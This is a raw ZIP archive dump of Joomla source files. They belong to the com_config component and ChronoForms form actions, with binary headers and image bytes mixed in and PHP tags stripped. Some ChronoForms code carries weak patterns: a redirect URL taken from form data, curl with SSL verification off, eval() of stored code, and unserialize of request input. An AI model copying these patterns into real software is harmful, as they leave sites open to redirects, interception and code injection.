PK@y>\6.components/com_config/models/fields/index.htmlnuW+APK@y>\)-components/com_config/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\]dd/components/com_config/models/fields/filters.phpnuW+AgetUserGroups(); // Build the form control. $html = array(); // Open the table. $html[] = ''; // The table heading. $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; // The table body. $html[] = ' '; foreach ($groups as $group) { if (!isset($this->value[$group->value])) { $this->value[$group->value] = array('filter_type' => 'BL', 'filter_tags' => '', 'filter_attributes' => ''); } $group_filter = $this->value[$group->value]; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; } $html[] = ' '; // Close the table. $html[] = '
      '; $html[] = ' '.JText::_('JGLOBAL_FILTER_GROUPS_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_TYPE_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_TAGS_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_ATTRIBUTES_LABEL').''; $html[] = '
      '; $html[] = ' '.str_repeat('|—', $group->level).$group->text; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = '
      '; return implode("\n", $html); } /** * A helper to get the list of user groups. * * @return array * @since 1.6 */ protected function getUserGroups() { // Get a database object. $db = JFactory::getDBO(); // Get the user groups from the database. $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level'); $query->from('#__usergroups AS a'); $query->join('LEFT', '#__usergroups AS b on a.lft > b.lft AND a.rgt < b.rgt'); $query->group('a.id, a.title, a.lft'); $query->order('a.lft ASC'); $db->setQuery($query); $options = $db->loadObjectList(); return $options; } } PK@y>\_,components/com_config/models/application.phpnuW+AloadForm('com_config.application', 'application', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the configuration data. * * This method will load the global configuration data straight from * JConfig. If configuration data has been saved in the session, that * data will be merged into the original data, overwriting it. * * @return array An array containg all global config data. * * @since 1.6 */ public function getData() { // Get the config data. $config = new JConfig(); $data = JArrayHelper::fromObject($config); // Prime the asset_id for the rules. $data['asset_id'] = 1; // Get the text filter data $params = JComponentHelper::getParams('com_config'); $data['filters'] = JArrayHelper::fromObject($params->get('filters')); // If no filter data found, get from com_content (update of 1.6/1.7 site) if (empty($data['filters'])) { $contentParams = JComponentHelper::getParams('com_content'); $data['filters'] = JArrayHelper::fromObject($contentParams->get('filters')); } // Check for data in the session. $temp = JFactory::getApplication()->getUserState('com_config.config.global.data'); // Merge in the session data. if (!empty($temp)) { $data = array_merge($data, $temp); } return $data; } /** * Method to save the configuration data. * * @param array An array containing all global config data. * * @return bool True on success, false on failure. * * @since 1.6 */ public function save($data) { // Save the rules if (isset($data['rules'])) { $rules = new JAccessRules($data['rules']); // Check that we aren't removing our Super User permission // Need to get groups from database, since they might have changed $myGroups = JAccess::getGroupsByUser(JFactory::getUser()->get('id')); $myRules = $rules->getData(); $hasSuperAdmin = $myRules['core.admin']->allow($myGroups); if (!$hasSuperAdmin) { $this->setError(JText::_('COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN')); return false; } $asset = JTable::getInstance('asset'); if ($asset->loadByName('root.1')) { $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { JError::raiseNotice('SOME_ERROR_CODE', $asset->getError()); } } else { $this->setError(JText::_('COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND')); return false; } unset($data['rules']); } // Save the text filters if (isset($data['filters'])) { $registry = new JRegistry(); $registry->loadArray(array('filters' => $data['filters'])); $extension = JTable::getInstance('extension'); // Get extension_id $extension_id = $extension->find(array('name' => 'com_config')); if ($extension->load((int) $extension_id)) { $extension->params = (string) $registry; if (!$extension->check() || !$extension->store()) { JError::raiseNotice('SOME_ERROR_CODE', $extension->getError()); } } else { $this->setError(JText::_('COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND')); return false; } unset($data['filters']); } // Get the previous configuration. $prev = new JConfig(); $prev = JArrayHelper::fromObject($prev); // Merge the new data in. We do this to preserve values that were not in the form. $data = array_merge($prev, $data); /* * Perform miscellaneous options based on configuration settings/changes. */ // Escape the offline message if present. if (isset($data['offline_message'])) { $data['offline_message'] = JFilterOutput::ampReplace($data['offline_message']); } // Purge the database session table if we are changing to the database handler. if ($prev['session_handler'] != 'database' && $data['session_handler'] == 'database') { $table = JTable::getInstance('session'); $table->purge(-1); } if (empty($data['cache_handler'])) { $data['caching'] = 0; } // Clean the cache if disabled but previously enabled. if (!$data['caching'] && $prev['caching']) { $cache = JFactory::getCache(); $cache->clean(); } // Create the new configuration object. $config = new JRegistry('config'); $config->loadArray($data); // Overwrite the old FTP credentials with the new ones. $temp = JFactory::getConfig(); $temp->set('ftp_enable', $data['ftp_enable']); $temp->set('ftp_host', $data['ftp_host']); $temp->set('ftp_port', $data['ftp_port']); $temp->set('ftp_user', $data['ftp_user']); $temp->set('ftp_pass', $data['ftp_pass']); $temp->set('ftp_root', $data['ftp_root']); // Clear cache of com_config component. $this->cleanCache('_system'); // Write the configuration file. return $this->writeConfigFile($config); } /** * Method to unset the root_user value from configuration data. * * This method will load the global configuration data straight from * JConfig and remove the root_user value for security, then save the configuration. * * @since 1.6 */ function removeroot() { // Get the previous configuration. $prev = new JConfig(); $prev = JArrayHelper::fromObject($prev); // Create the new configuration object, and unset the root_user property $config = new JRegistry('config'); unset($prev['root_user']); $config->loadArray($prev); // Write the configuration file. return $this->writeConfigFile($config); return true; } /** * Method to write the configuration to a file. * * @param JRegistry $config A JRegistry object containing all global config data. * * @return bool True on success, false on failure. * * @since 2.5.4 */ private function writeConfigFile(JRegistry $config) { jimport('joomla.filesystem.path'); jimport('joomla.filesystem.file'); // Set the configuration file path. $file = JPATH_CONFIGURATION . '/configuration.php'; // Get the new FTP credentials. $ftp = JClientHelper::getCredentials('ftp', true); // Attempt to make the file writeable if using FTP. if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0644')) { JError::raiseNotice('SOME_ERROR_CODE', JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE')); } // Attempt to write the configuration file as a PHP class named JConfig. $configuration = $config->toString('PHP', array('class' => 'JConfig', 'closingtag' => false)); if (!JFile::write($file, $configuration)) { $this->setError(JText::_('COM_CONFIG_ERROR_WRITE_FAILED')); return false; } // Attempt to make the file unwriteable if using FTP. if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0444')) { JError::raiseNotice('SOME_ERROR_CODE', JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTUNWRITABLE')); } return true; } } PK@y>\)&components/com_config/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V-components/com_config/models/forms/index.htmlnuW+A PK@y>\),components/com_config/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#JJ2components/com_config/models/forms/application.xmlnuW+A
      PK@y>\V'components/com_config/models/index.htmlnuW+A PK@y>\/v1components/com_config/controllers/application.phpnuW+AregisterTask('apply', 'save'); } /** * Method to save the configuration. * * @return bool True on success, false on failure. * @since 1.5 */ public function save() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Application'); $form = $model->getForm(); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_config&view=application', false)); return false; } // Attempt to save the configuration. $data = $return; $return = $model->save($data); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_config&view=application', $message, 'error'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Set the redirect based on the task. switch ($this->getTask()) { case 'apply': $this->setRedirect('index.php?option=com_config', $message); break; case 'save': default: $this->setRedirect('index.php', $message); break; } return true; } /** * Cancel operation */ function cancel() { // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin', 'com_config')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); // Clean the session data. $app = JFactory::getApplication(); $app->setUserState('com_config.config.global.data', null); $this->setRedirect('index.php'); } function refreshHelp() { jimport('joomla.filesystem.file'); // Set FTP credentials, if given JClientHelper::setCredentialsFromRequest('ftp'); if (($data = file_get_contents('http://help.joomla.org/helpsites.xml')) === false) { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_ERROR_HELPREFRESH_FETCH'), 'error'); } elseif (!JFile::write(JPATH_BASE . '/help/helpsites.xml', $data)) { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_ERROR_HELPREFRESH_ERROR_STORE'), 'error'); } else { $this->setRedirect('index.php?option=com_config', JText::_('COM_CONFIG_HELPREFRESH_SUCCESS')); } } /** * Method to remove the root property from the configuration. * * @return bool True on success, false on failure. * @since 1.5 */ public function removeroot() { // Check for request forgeries. JSession::checkToken('get') or die('Invalid Token'); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin')) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Initialise model. $model = $this->getModel('Application'); // Attempt to save the configuration and remove root. $return = $model->removeroot(); // Check the return value. if ($return === false) { // Save failed, go back to the screen and display a notice. $this->setMessage(JText::sprintf('JERROR_SAVE_FAILED', $model->getError()), 'error'); $this->setRedirect('index.php'); return false; } // Set the success message. $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); // Set the redirect based on the task. $this->setRedirect('index.php', $message); return true; } } PK@y>\)+components/com_config/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\0S  /components/com_config/controllers/component.phpnuW+AregisterTask('apply', 'save'); } /** * Save the configuration */ function save() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set FTP credentials, if given. JClientHelper::setCredentialsFromRequest('ftp'); // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Component'); $form = $model->getForm(); $data = JRequest::getVar('jform', array(), 'post', 'array'); $id = JRequest::getInt('id'); $option = JRequest::getCmd('component'); // Check if the user is authorized to do this. if (!JFactory::getUser()->authorise('core.admin', $option)) { JFactory::getApplication()->redirect('index.php', JText::_('JERROR_ALERTNOAUTHOR')); return; } // Validate the posted data. $return = $model->validate($form, $data); // Check for validation errors. if ($return === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Redirect back to the edit screen. $this->setRedirect(JRoute::_('index.php?option=com_config&view=component&component='.$option.'&tmpl=component', false)); return false; } // Attempt to save the configuration. $data = array( 'params' => $return, 'id' => $id, 'option' => $option ); $return = $model->save($data); // Check the return value. if ($return === false) { // Save the data in the session. $app->setUserState('com_config.config.global.data', $data); // Save failed, go back to the screen and display a notice. $message = JText::sprintf('JERROR_SAVE_FAILED', $model->getError()); $this->setRedirect('index.php?option=com_config&view=component&component='.$option.'&tmpl=component', $message, 'error'); return false; } // Set the redirect based on the task. switch ($this->getTask()) { case 'apply': $message = JText::_('COM_CONFIG_SAVE_SUCCESS'); $this->setRedirect('index.php?option=com_config&view=component&component='.$option.'&tmpl=component&refresh=1', $message); break; case 'save': default: $this->setRedirect('index.php?option=com_config&view=close&tmpl=component'); break; } return true; } } PK@y>\V,components/com_config/controllers/index.htmlnuW+A PK@y>\`TT4components/com_chronoforms/uninstall.chronoforms.sqlnuW+ADROP TABLE IF EXISTS `#__chronoforms`; DROP TABLE IF EXISTS `#__chronoform_actions`;PK@y>\!%components/com_chronoforms/config.xmlnuW+A PK@y>\_~2components/com_chronoforms/install.chronoforms.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__chronoforms` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `form_type` tinyint(1) NOT NULL, `content` longtext NOT NULL, `wizardcode` longtext, `events_actions_map` longtext, `params` longtext NOT NULL, `published` tinyint(1) NOT NULL DEFAULT '1', `app` varchar(100) NOT NULL DEFAULT '', PRIMARY KEY (`id`) ) CHARACTER SET `utf8`; CREATE TABLE IF NOT EXISTS `#__chronoform_actions` ( `id` int(11) NOT NULL AUTO_INCREMENT, `chronoform_id` int(11) NOT NULL, `type` varchar(255) NOT NULL, `enabled` tinyint(1) NOT NULL, `params` longtext NOT NULL, `order` int(11) NOT NULL, `content1` longtext NOT NULL, PRIMARY KEY (`id`) ) CHARACTER SET `utf8`;PK@y>\v 0components/com_chronoforms/chronoforms.class.phpnuW+APK@y>\|>>!components/com_chronoforms/CF.pngnuW+APNG  IHDR N>gAMA7tEXtSoftwareAdobe ImageReadyqe<IDATxڬSK˩Q~$2KJ2B P~_!c@F MH (\:&}_":{|UkջgWEDXoC,+& vL&BDn7l[8ob`@pXX,xnKjEPb\. Ӊj:TdZZ"'bA,;KRZri\R\|NǃxJ&d6t:o0͘ fUcfQTB@hHZ%8/¯f$Rդn`0nC~FT >맚f)Ud2W, Jx|>O~BjZ%F@W*D Cr\\,components/com_chronoforms/tables/index.htmlnuW+APK@y>\PK@y>\)+components/com_chronoforms/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Z_1components/com_chronoforms/tables/chronoforms.phpnuW+APK@y>\~ccGcomponents/com_chronoforms/form_actions/redirect_user/redirect_user.ctpnuW+A
      ReDirect User
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_thanks_message_config_{n}'); echo $PluginTabsHelper->tabStart('settings'); echo $HtmlHelper->input('action_redirect_user_{n}_target_url_config', array( 'type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL to send the user to." )); echo $PluginTabsHelper->tabEnd(); echo $PluginTabsHelper->tabStart('help'); ?>
      • Enter a URL here if you want to Redirect the User after the form is submitted and processed.
      • To set parameters in the Redirect URL, use the Configure Redirect action before this action and leave the URL here empty.
      • This should be the last action in the OnSubmit Event.
      tabEnd(); ?>
      PK@y>\E``Gcomponents/com_chronoforms/form_actions/redirect_user/redirect_user.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'ReDirect User', 'tooltip' => 'Will redirect the user to another url.'); function run($form, $actiondata) { $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if ( isset($form->data['redirect_url']) && $form->data['redirect_url'] ) { $redirect_url = $form->data['redirect_url']; } else { $redirect_url = $params->get('target_url'); } if ( !$redirect_url ) { $form->debug['redirect_user'][] = 'Error: No Redirect URL found'; return false; } $form->debug['redirect_user'][] = 'redirect_user_target_url: '.$params->get('target_url'); //$mainframe->enqueuemessage('$form: '.print_r($form, true).'
      '); //if ( filter_var($redirect_url, FILTER_VALIDATE_URL) ) { $debug = false; foreach ( $form->form_actions as $a ) { if ( $a->type == 'debugger' && (bool)$a->enabled === true ) { $debug = true; break; } } if ( $debug ) { $form->debug['redirect_user'][] = "Redirect URL (click to continue):
      {$redirect_url}"; } else { $mainframe->redirect($redirect_url); } /*} else { $form->debug['redirect_user'][] = 'Error: Invalid URL'; }*/ } function load($clear) { if ( $clear ) { $action_params = array( 'target_url' => 'http://' ); } return array('action_params' => $action_params); } } ?>PK@y>\)?components/com_chronoforms/form_actions/redirect_user/.htaccessnuW+A Order allow,deny Deny from all PK@y>\@components/com_chronoforms/form_actions/redirect_user/index.htmlnuW+APK@y>\)6components/com_chronoforms/form_actions/curl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\l5components/com_chronoforms/form_actions/curl/curl.ctpnuW+A
      Curl
      input('action_curl_{n}_target_url_config', array('type' => 'text', 'label' => "Target URL", 'class' => 'big_input', 'smalldesc' => "The target URL to send the data to.")); ?> input('action_curl_{n}_header_in_response_config', array('type' => 'select', 'label' => 'Header in response ?', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Include Header response from the gateway? default is No.")); ?> input('action_curl_{n}_content1_config', array('type' => 'textarea', 'label' => 'Params/Fields map', 'rows' => 15, 'cols' => 50, 'smalldesc' => 'Multi line format of the fields names:
      e.g:curl_param_name=form_field_name')); ?>
      PK@y>\\cmm5components/com_chronoforms/form_actions/curl/curl.phpnuW+A 'redirect', 'title' => 'Redirect/Remote Submit'); var $details = array('title' => 'Curl', 'tooltip' => 'Submit form data to another URL using the CURL method.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if(function_exists('curl_init')){ $form->debug['curl'][] = "CURL OK : the CURL function was found on this server."; }else{ $form->debug['curl'][] = "CURL problem : the CURL function was not found on this server."; return; } if(!empty($actiondata->content1)){ $list = explode("\n", trim($actiondata->content1)); $curl_values = array(); foreach($list as $item){ $fields_data = explode("=", $item); $curl_values[$fields_data[0]] = $form->data[trim($fields_data[1])]; } } $query = JURI::buildQuery($curl_values); $form->debug['curl'][] = '$curl_values: '.print_r($query, true); $form->debug['curl'][] = 'curl_target_url: '.$params->get('target_url'); $ch = curl_init($params->get('target_url')); curl_setopt($ch, CURLOPT_HEADER, $params->get('header_in_response', 0));// set to 0 to eliminate header info from response curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);// Returns response data instead of TRUE(1) curl_setopt($ch, CURLOPT_POSTFIELDS, $query);// use HTTP POST to send form data curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch);//execute post and get results curl_close($ch); //add the response in the form data array $form->data['curl'] = $response; } function load($clear){ if($clear){ $action_params = array( 'header_in_response' => 0, 'target_url' => 'http://', 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ 7components/com_chronoforms/form_actions/curl/index.htmlnuW+A PK@y>\$ JRcomponents/com_chronoforms/form_actions/multi_language/cfaction_multi_language.ctpnuW+Atranslate($form, $actiondata); ?>PK@y>\ggIcomponents/com_chronoforms/form_actions/multi_language/multi_language.ctpnuW+A
      Multi Language
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'multi_language_config_{n}'); ?> tabStart('settings'); ?> input('action_multi_language_{n}_lang_tag_config', array('type' => 'text', 'label' => "Language Tag", 'class' => 'small_input', 'smalldesc' => "The language tag, e.g: en-US OR en-GB OR de-DE")); ?> input('action_multi_language_{n}_content1_config', array('type' => 'textarea', 'label' => "Translation strings", 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Srings to be translated with their translation in the language set above, multi line format, e.g: non_translated_string=translated_string.')); ?> input('action_multi_language_{n}_translate_output_config', array('type' => 'select', 'label' => "Translate output", 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => "Should the form output be scanned for translatable strings ? this option should not be needed unless you have dynamic text generation in one of your form elements/actions.")); ?> tabEnd(); ?> tabStart('help'); ?>

      • Enter your language tag.
      • It's strongly advised that you use dummy unique language strings for those strings you are planning to translate, e.g: instead of using "Name" in your label, please use "NAME" or better "NAME_LABEL", this will make translations easier and more accurate.
      • Add your desired translation strings in multi line format.
      • This action should be placed the FIRST thing in any of your form events so that it's able to translate all strings in the actions and code.
      • Please pay attention that this action will do translations (text replacements) for ALL actions below it, this includes any action's content or configuration, for example, if its placed above the email action, it can change the TO address if it contains any string matches any of the translatable ones.

      tabEnd(); ?>
      PK@y>\ Acomponents/com_chronoforms/form_actions/multi_language/index.htmlnuW+A PK@y>\\ _1 1 Icomponents/com_chronoforms/form_actions/multi_language/multi_language.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Multi Language', 'tooltip' => 'Add extra languages support to your form, drag one for every language you need supported, translates the data in the same Event its inside only.'); function run($form, $actiondata){ if(isset($form->form_actions) && !empty($form->form_actions)){ $params = new JParameter($actiondata->params); $lang = JFactory::getLanguage(); if($lang->getTag() == $params->get('lang_tag', '')){ $lang_strings = explode("\n", $actiondata->content1); usort($lang_strings, array('CfactionMultiLanguage', 'sortByLength')); foreach($lang_strings as $lang_string){ if(!empty($lang_string) && strpos($lang_string, "=") !== false){ $texts = explode("=", $lang_string, 2); $original = trim($texts[0]); $new = trim($texts[1]); //do replacements in all loaded actions foreach($form->form_actions as $k => $action){ if($action->type != 'multi_language'){ //do replacements in params $form->form_actions[$k]->params = str_replace($original, $new, $form->form_actions[$k]->params); //do replacements in content1 $form->form_actions[$k]->content1 = str_replace($original, $new, $form->form_actions[$k]->content1); } } //do replacements in main form code and params //do replacements in params $form->form_details->params = str_replace($original, $new, $form->form_details->params); //do replacements in content1 $form->form_details->content = str_replace($original, $new, $form->form_details->content); } } } } //print_r2($form->form_actions); } function sortByLength($a,$b){ return strlen($b)-strlen($a); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'translate_output' => 0, 'lang_tag' => 'en-GB' ); } return array('action_params' => $action_params); } } ?>PK@y>\B[cmmRcomponents/com_chronoforms/form_actions/multi_language/cfaction_multi_language.phpnuW+Aparams); if((bool)$params->get('translate_output', 0) === true){ if(isset($form->form_actions) && !empty($form->form_actions)){ $lang = JFactory::getLanguage(); if($lang->getTag() == $params->get('lang_tag', '')){ $lang_strings = explode("\n", $actiondata->content1); usort($lang_strings, array('CfactionMultiLanguage', 'sortByLength')); foreach($lang_strings as $lang_string){ if(!empty($lang_string) && strpos($lang_string, "=") !== false){ $texts = explode("=", $lang_string, 2); $original = trim($texts[0]); $new = trim($texts[1]); $form->form_output = str_replace($original, $new, $form->form_output); } } } } } } } ?>PK@y>\)@components/com_chronoforms/form_actions/multi_language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\';components/com_chronoforms/form_actions/load_js/load_js.phpnuW+A 'form_utilities', 'title' => 'Utilities'); var $details = array('title' => 'Load JS', 'tooltip' => 'Process and load custom JS code in the form page.'); function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'dynamic_file' => 0 ); } return array('action_params' => $action_params); } function run($form, $actiondata){ } } ?>PK@y>\)9components/com_chronoforms/form_actions/load_js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ :components/com_chronoforms/form_actions/load_js/index.htmlnuW+A PK@y>\7^;components/com_chronoforms/form_actions/load_js/load_js.ctpnuW+A
      Load JS
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_js_config_{n}'); ?> tabStart('settings'); ?> input('action_load_js_{n}_dynamic_file_config', array('type' => 'select', 'label' => 'Dynamic File', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Load the code inside a dynamic file instead of the page head, useful in few situations.')); ?> input('action_load_js_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'JavaScript code withOUT script tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • JavaScript code withOUT script tags.
      • You may use PHP code with php tags.
      • The dynamic files may be helpful if you want the page head source code to be cleaner, it should help with loading JS code in the correct order, because Joomla gives priority to files loading over header scripts loading.

      tabEnd(); ?>
      PK@y>\.^7Dcomponents/com_chronoforms/form_actions/load_js/cfaction_load_js.phpnuW+Aparams); if((bool)$params->get('dynamic_file', 0) == 1){ $this->loadDynamic($form, $actiondata); }else{ $this->loadScript($form, $actiondata); } } function loadScript($form = null, $actiondata = null){ $output = ''; $document = JFactory::getDocument(); ob_start(); eval('?>'.$actiondata->content1); $output .= ob_get_clean(); ob_start(); ?> // //]]> addScriptDeclaration($script); } function loadDynamic($form = null, $actiondata = null){ $document = JFactory::getDocument(); $mainframe = JFactory::getApplication(); $uri = JFactory::getURI(); //eval teh code ob_start(); eval('?>'.$actiondata->content1); $output = ob_get_clean(); //encode and send it $code_encoded = $this->secure_serialize($output); $get_string = 'code='.$code_encoded; $full_url = $uri->root().'components/com_chronoforms/js/load_js.php?'.$get_string; //check the url length, IE has a 2083 limit if(strlen($full_url) < 2083){ $document->addScript($uri->root().'components/com_chronoforms/js/load_js.php?'.$get_string); }else{ $this->loadScript($form, $actiondata); } } function secure_serialize($data){ $mainframe = JFactory::getApplication(); $secret = $mainframe->getCfg('secret'); $sData = strtr(base64_encode(addslashes(gzcompress(serialize($data),9))), '+/=', '-_,'); return sha1($sData.$secret).$sData; } function secure_unserialize($data){ $mainframe = JFactory::getApplication(); $secret = $mainframe->getCfg('secret'); $v = substr($data, 0, 40); $sData = substr($data, 40); if($v != sha1($sData.$secret)){ die('Query altered!!'); } return unserialize(gzuncompress(stripslashes(base64_decode(strtr($sData, '-_,', '+/='))))); } } ?>PK@y>\YrrDcomponents/com_chronoforms/form_actions/load_js/cfaction_load_js.ctpnuW+Aload($form, $actiondata); ?>PK@y>\ Acomponents/com_chronoforms/form_actions/joomla_plugins/index.htmlnuW+A PK@y>\7+YYIcomponents/com_chronoforms/form_actions/joomla_plugins/joomla_plugins.phpnuW+A 'Joomla Plugins', 'tooltip' => 'Renders the Joomla content plugins inside your form contents.'); var $group = array('id' => 'joomla_functions', 'title' => 'Joomla Functions'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); } function load($clear){ if($clear){ $action_params = array( 'content1' => '', ); } return array('action_params' => $action_params); } } ?>PK@y>\F ]Rcomponents/com_chronoforms/form_actions/joomla_plugins/cfaction_joomla_plugins.ctpnuW+Ashow($form, $actiondata); ?>PK@y>\ˆXzzRcomponents/com_chronoforms/form_actions/joomla_plugins/cfaction_joomla_plugins.phpnuW+Aparams); $contentParams = $mainframe->getParams('com_content'); $dispatcher = JDispatcher::getInstance(); $type = 'content'; JPluginHelper::importPlugin($type); $jversion = new JVersion(); if($jversion->RELEASE > 1.5){ $context = ''; $rowPlg = new stdClass(); $rowPlg->text = $form->form_output; $results = $mainframe->triggerEvent('onContentPrepare', array($context, &$rowPlg, &$contentParams, 0)); $form->form_output = $rowPlg->text; }else{ $rowPlg = new stdClass(); $rowPlg->text = $form->form_output; $results = $mainframe->triggerEvent('onPrepareContent', array(&$rowPlg, &$contentParams, 0)); $form->form_output = $rowPlg->text; } } } ?>PK@y>\)@components/com_chronoforms/form_actions/joomla_plugins/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ncIcomponents/com_chronoforms/form_actions/joomla_plugins/joomla_plugins.ctpnuW+A
      Joomla Plugins
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_plugins_config_{n}'); ?> tabStart('settings'); ?> tabEnd(); ?> tabStart('help'); ?>

      • This plugin will run the Joomla plugins in the form "output" in the buffer.

      tabEnd(); ?>
      PK@y>\d Ycomponents/com_chronoforms/form_actions/load_security_question/load_security_question.ctpnuW+A
      Load Security Question
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'load_security_question_config_{n}'); ?> tabStart('settings'); ?> input('action_load_security_question_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'Enter the questions and answers here, any PHP code should include the PHP tags.')); ?> input('action_load_security_question_{n}_session_key_config', array('type' => 'select', 'label' => 'Enable Session Key', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Add a unique session key for every form instance, this is helpful if more than one form or more than one instance of the same form may be loaded together.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • You may use a "Security Question" element or enter this string in your form code or using a custom element to show the question: {chrono_security_question}
      • the answer field should have the name "chrono_security_answer", again, you may simply use a "Security Question" element and that should add it for you.
      • Enter the questions in multi line forma, example:
        Question=Answer,Answer,Answer
        Question=Answer
        Question=Answer,Answer

      tabEnd(); ?>
      PK@y>\w bcomponents/com_chronoforms/form_actions/load_security_question/cfaction_load_security_question.phpnuW+APK@y>\ Icomponents/com_chronoforms/form_actions/load_security_question/index.htmlnuW+A PK@y>\)Hcomponents/com_chronoforms/form_actions/load_security_question/.htaccessnuW+A Order allow,deny Deny from all PK@y>\vDgYcomponents/com_chronoforms/form_actions/load_security_question/load_security_question.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $details = array('title' => 'Load Security Question', 'tooltip' => 'Display the security question, you need a "Security Question Input" as one of your form fields.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $uri = JFactory::getURI(); $params = new JParameter($actiondata->params); //extract questions $q_as = explode("\n", $actiondata->content1); $rand = rand(0, count($q_as) - 1); $choosen = explode("=", $q_as[$rand]); //add a session prefix, useful if more than 1 form is opened by the same user $session_key_field = ""; $answers = explode(",", trim($choosen[1])); foreach($answers as $k => $answer){ $answers[$k] = strtolower($answer); } if((bool)$params->get('session_key', 1) === true){ $session_key = $form->getSessionToken(); $session->set("chrono_security_answers_".$session_key, $answers, 